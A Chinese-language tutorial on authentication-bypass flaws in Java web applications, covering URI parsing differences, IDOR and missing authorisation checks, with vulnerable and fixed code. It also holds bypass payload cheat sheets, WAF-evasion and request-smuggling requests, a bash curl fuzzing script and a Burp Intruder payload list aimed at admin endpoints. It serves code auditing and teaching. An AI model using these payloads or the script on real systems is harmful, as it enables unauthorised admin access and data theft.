Java Web 鉴权绕过模式深度剖析
鉴权绕过是代码审计中最常见也最致命的问题类型。本文涵盖 URI 解析差异、路径规范化绕过、preHandle 认证/授权缺陷、WAF 对抗等核心模式。
本文是 Java Web 认证授权安全系列 的第五篇。
5.1 URI 解析差异绕过(最关键)
这是代码审计中的 “万恶之源”——鉴权 Filter 和路由分发使用不同的 URI 获取方法。
| 获取方法 | 安全性 | 说明 |
|---|---|---|
request.getRequestURI() |
❌ | 保留原始路径,含 ;、../、编码字符 |
request.getRequestURL() |
❌ | 同上 |
request.getServletPath() |
✅ | Tomcat 已规范化处理 |
request.getContextPath() |
✅ | 仅上下文路径 |
HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE |
✅ | Spring 路由匹配后的实际路径 |
经典攻击场景:
// ❌ Filter 用 getRequestURI() 做白名单 → 可被分号绕过
String uri = request.getRequestURI();
if (uri.endsWith(".js") || uri.endsWith(".css")) {
chain.doFilter(request, response);
return;
}
// GET /admin/deleteUser;.js → getRequestURI() 匹配 .js → 放行
// Tomcat 解析分号 → 路由到 /admin/deleteUser → 鉴权绕过
// ✅ 修复
String path = request.getServletPath();
// 或 Spring 路由属性
String pattern = (String) request.getAttribute(
HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE);
5.2 路径规范化绕过速查表
| 绕过模式 | Payload 示例 | 原理 |
|---|---|---|
| 分号 + 后缀 | /admin;.js、/admin;.css |
Tomcat 删除 ; 及之后 |
| 分号 + 穿越 | /public;/../admin |
组合绕过 |
| URL 编码斜杠 | /admin%2fusers |
容器解码前后路径不一致 |
| 双重编码 | /admin%252fusers |
%25 → % |
| 路径穿越 | /public/../admin |
鉴权匹配与路由解析差异 |
| 尾部斜杠 | /admin/ vs /admin |
某些配置视为不同 |
| 空字节 | /admin%00.jpg |
C 字符串截断 |
| 换行符 | /admin%0d%0a |
影响正则匹配 |
5.3 越权访问(IDOR)
// ❌ 无归属校验
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
return orderService.findById(orderId);
}
// ✅ 校验归属
@GetMapping("/api/orders/{orderId}")
public Order getOrder(@PathVariable Long orderId, @AuthenticationPrincipal UserDetails user) {
Order order = orderService.findById(orderId);
if (!order.getUserId().equals(user.getId())) {
throw new AccessDeniedException("无权访问");
}
return order;
}
5.4 多层鉴权架构分析
请求 → Filter 层 → Interceptor 层 → Controller(AOP) → 业务逻辑
│ │ │
└── 登录检查 └── 权限校验 └── 业务权限
审计关键:绕过一层不代表绕过全部。需分析每层的职责和 fallback 逻辑。
5.5 实战:preHandle 只认证不授权 + getRequestURI() 绕过
模式 A:仅认证 + 全路径 return true
// ❌ 问题代码
@Override
public boolean preHandle(HttpServletRequest request, ...) {
String uri = request.getRequestURI();
if (uri.contains("/login") || uri.endsWith(".js")) { return true; }
String token = request.getHeader("Authorization");
if (token == null) { response.setStatus(401); return false; }
User user = parseToken(token);
if (user == null) { response.setStatus(401); return false; }
return true; // ← 任何登录用户都能访问管理接口!
}
# 攻击链
POST /api/login → Token: eyJ... (普通用户)
GET /api/admin/deleteUser?id=1 Authorization: Bearer eyJ... → 200 OK
GET /api/admin/deleteUser;.js → 无需登录即可访问!
模式 B:白名单路径穿越
# startsWith("/api/public/") 可被穿越
GET /api/public/../admin/users → 绕过登录检查
GET /static/../../api/admin/config → contains("/static/") 绕过
模式 C:后缀匹配绕过
GET /api/admin/users;.js
GET /api/config/dbPassword;.png
正确修复
// ✅ 使用 getServletPath() + 精确白名单 + 认证+授权
public boolean preHandle(HttpServletRequest request, ...) {
String path = request.getServletPath();
if (WHITELIST.contains(path)) { return true; }
// 认证
User user = tokenService.validateAndGetUser(request.getHeader("Authorization"));
if (user == null) { response.setStatus(401); return false; }
// 授权 — 必须有!
if (path.startsWith("/api/admin/") && !user.hasRole("ADMIN")) {
response.setStatus(403); return false;
}
request.setAttribute("currentUser", user);
return true;
}
5.6 WAF 绕过与对抗(补充)
当目标有 WAF 保护时,基础 Payload 可能被拦截。以下是绕过技巧:
编码绕过
# 基础 payload 被拦
GET /admin;.js → 403 Forbidden (WAF 拦截)
# URL 编码分号
GET /admin%3b.js
# 双重编码
GET /admin%253b.js
# Unicode 编码
GET /admin\u003b.js
# 混合编码
GET /admin%3b%2ejs
协议级绕过
# HTTP/1.0 不支持分块传输,某些 WAF 解析不同
GET /admin;.js HTTP/1.0
# 利用 Transfer-Encoding 分块
POST /admin HTTP/1.1
Transfer-Encoding: chunked
3
;.js
0
# HTTP 请求走私
GET /admin HTTP/1.1
Host: target.com
Content-Length: 0
Transfer-Encoding: chunked
GET /admin;.js HTTP/1.1
Host: target.com
参数污染
# 利用参数覆盖 WAF 检测
GET /api/admin/list?id=1&role=admin
GET /api/admin/list?role=admin&role=user # WAF 可能取第一个
# 分号参数
GET /api/admin/list;role=admin
大小写与空格变形
# 大小写绕过
GET /ADMIN/users
GET /Admin/Users
# Tab/空格绕过
GET /admin%09/users # %09 = Tab
GET /admin%20/users # %20 = 空格(某些框架会 trim)
5.7 自动化 Fuzzing 策略(补充)
#!/bin/bash
# 鉴权绕过 Fuzzing 脚本
TARGET="https://target.com"
ENDPOINTS=(
"/api/admin/users"
"/api/admin/config"
"/api/order/export"
"/api/user/profile"
)
PAYLOADS=(
";.js" # 分号+静态后缀
";.css"
";.png"
"%3b.js" # URL 编码分号
"%3b.css"
";../" # 分号+路径穿越
"%2f" # 编码斜杠
"%2e%2e%2f" # 编码 ../
"%20" # 空格
"%0d%0a" # CRLF
"%00.jpg" # 空字节
"." # 点号
"//" # 双斜杠
)
for endpoint in "${ENDPOINTS[@]}"; do
echo "=== Testing: $endpoint ==="
# 无认证直接访问
status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint")
echo " Direct: $status"
# 带 Payload 绕过
for payload in "${PAYLOADS[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint$payload")
if [ "$status" != "401" ] && [ "$status" != "403" ] && [ "$status" != "302" ]; then
echo " ⚠️ BYPASS: $endpoint$payload → $status"
fi
done
done
Burp Suite Intruder 配置
Attack type: Sniper
Payload position: GET /api/admin/users§§ HTTP/1.1
Payload list:
;.js
;.css
%3b.js
;../public
%2e%2e%2fpublic
..
%2f
%00.jpg
5.8 案例复盘:某电商系统鉴权绕过(补充)
发现过程:
- 浏览网站时发现所有 API 路径形如
/api/v1/user/order/list - Burp 抓包,尝试访问
/api/v1/admin/user/list→ 401 - 追加
;.js后缀:/api/v1/admin/user/list;.js→ 200 OK,返回全部用户数据
根因分析:
// 该系统的 AuthInterceptor 代码
if (request.getRequestURI().endsWith(".js")
|| request.getRequestURI().endsWith(".css")) {
return true; // 静态资源直接放行
}
// ... 后续的认证逻辑永远走不到
影响范围:
- 全部管理接口可绕过(用户管理、订单管理、系统配置)
- 无需任何认证,直接获取管理权限
修复验证:
- 将
getRequestURI()改为getServletPath() - 白名单改为精确路径匹配(
Set<String>) - 增加授权检查
总结
鉴权绕过的根因可以归结为三类:
- 解析差异:
getRequestURI()vsgetServletPath(),Shiro vs Spring 路径匹配 - 逻辑缺失:只认证不授权,
return true无角色检查 - 信任输入:白名单用
endsWith/contains/startsWith做模糊匹配
检测原则:永远不要相信请求中的原始路径。用容器规范化后的路径 + 精确匹配 + 认证+授权双检。
系列文章: